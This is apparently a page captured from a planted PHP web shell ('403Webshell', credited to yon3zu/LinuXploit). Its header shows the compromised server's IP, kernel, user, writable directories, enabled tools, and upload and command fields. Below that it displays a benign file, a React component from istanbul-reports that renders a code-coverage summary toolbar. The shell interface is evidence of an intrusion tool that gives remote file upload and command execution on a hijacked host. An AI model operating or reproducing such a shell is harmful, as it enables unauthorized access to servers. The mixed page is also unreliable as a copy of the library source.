403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.60
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/nodejs/istanbul-reports/lib/html-spa/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/nodejs/istanbul-reports/lib/html-spa/src/summaryHeader.js
const React = require('react');

function Ignores({ metrics, metricsToShow }) {
    const metricKeys = Object.keys(metricsToShow);
    const result = [];

    for (let i = 0; i < metricKeys.length; i++) {
        const metricKey = metricKeys[i];
        if (metricsToShow[metricKey]) {
            const skipped = metrics[metricKey].skipped;
            if (skipped > 0) {
                result.push(
                    `${skipped} ${metricKey}${
                        skipped === 1 ? '' : metricKey === 'branch' ? 'es' : 's'
                    }`
                );
            }
        }
    }

    if (result.length === 0) {
        return false;
    }

    return (
        <div className="toolbar__item">
            <span className="strong">{result.join(', ')}</span>
            <span className="quiet">Ignored</span>
        </div>
    );
}

function StatusMetric({ data, name }) {
    return (
        <div className="toolbar__item">
            <span className="strong">{data.pct}%</span>{' '}
            <span className="quiet">{name}</span>{' '}
            <span className={'fraction ' + data.classForPercent}>
                {data.covered}/{data.total}
            </span>
        </div>
    );
}

module.exports = function SummaryHeader({ metrics, metricsToShow }) {
    return (
        <div className="toolbar">
            {metricsToShow.statements && (
                <StatusMetric data={metrics.statements} name="Statements" />
            )}
            {metricsToShow.branches && (
                <StatusMetric data={metrics.branches} name="Branches" />
            )}
            {metricsToShow.functions && (
                <StatusMetric data={metrics.functions} name="Functions" />
            )}
            {metricsToShow.lines && (
                <StatusMetric data={metrics.lines} name="Lines" />
            )}
            <Ignores metrics={metrics} metricsToShow={metricsToShow} />
        </div>
    );
};

Youez - 2016 - github.com/yon3zu
LinuXploit